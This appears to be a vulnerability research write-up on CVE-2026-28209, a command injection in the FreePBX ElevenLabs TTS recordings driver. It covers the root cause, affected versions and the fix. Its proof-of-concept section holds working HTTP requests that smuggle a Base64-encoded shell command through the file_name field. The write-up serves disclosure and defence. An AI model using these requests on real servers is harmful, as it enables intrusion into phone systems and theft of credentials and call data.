ORIGINAL RESEARCHCVE-2026-28209

CVE-2026-28209 — FreePBX ElevenLabs TTS Command Injection

Authenticated OS command injection in the FreePBX System Recordings ElevenLabs TTS driver, where attacker-controlled file_name input is interpolated into an ffmpeg command executed by exec().

Originally published on Rapid7 AttackerKB · 2026-03-13

Overview

CVE-2026-28209 is an authenticated OS command injection vulnerability in the FreePBX System Recordings module when the ElevenLabs Text-to-Speech driver is used. The file_name request parameter reaches the driver’s convertToAudio() function and is concatenated into an ffmpeg command executed with PHP’s exec().

An authenticated user with access to System Recordings can inject shell metacharacters into the filename and execute arbitrary commands on the FreePBX server.

Attack prerequisites

Successful exploitation requires:

  • a valid FreePBX session;
  • access to the System Recordings module; and
  • an ElevenLabs API key configured for the TTS workflow.

The archived research notes that the free ElevenLabs tier is sufficient for testing.

Root cause

The vulnerable code is in admin/modules/recordings/drivers/Elevenlabs.php, in convertToAudio():

$command = "ffmpeg -y -i ".$amp_conf["ASTSPOOLDIR"]."/tmp/".$file.".MP3".
           " -acodec pcm_s16le -ac 1 -ar 44100 ".
           $amp_conf["ASTSPOOLDIR"]."/tmp/".$file.".wav 2>&1";
exec($command, $output, $returnCode);

The $file variable originates from the POST parameter file_name. It is inserted into both input and output paths in the command string without shell escaping, so metacharacters in the filename are interpreted by the shell when exec() runs the command.

Proof of concept

The original proof of concept creates /var/www/html/pawned. The command is Base64-encoded to avoid file-name handling issues:

echo -n "touch /var/www/html/pawned" | base64

Result:

dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=

The injected command is:

echo${IFS}dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=|base64${IFS}-d|sh

First configure the ElevenLabs API key:

GET /admin/ajax.php?module=recordings&command=setapikey&engine=Elevenlabs&key=sk_REDACTED HTTP/1.1
Host: <target>
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=<valid-session>

Then submit a TTS conversion request with the command embedded in file_name:

POST /admin/ajax.php?module=recordings&command=ttsConvert HTTP/1.1
Host: <target>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

engine=Elevenlabs&file_name=;`echo${IFS}dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=|base64${IFS}-d|sh`;&text=Cuckoo&voiceId=CwhRBWXzGAHq8TQ4Fs17&langCode=en

Successful exploitation creates /var/www/html/pawned, confirming arbitrary command execution.

Impact

The injected command runs in the context of the FreePBX web application, typically the asterisk or www-data account. This provides operating-system command execution and can expose PBX configuration, credentials, call data, and other resources accessible to that account.

Remediation

  • FreePBX 16 System Recordings versions >= 16.0.17.2 and < 16.0.20 are affected. Upgrade to 16.0.20 or later.
  • FreePBX 17 System Recordings versions >= 17.0.2.4 and < 17.0.5 are affected. Upgrade to 17.0.5 or later.

References

Credits

Discovery: h00die-gr3y.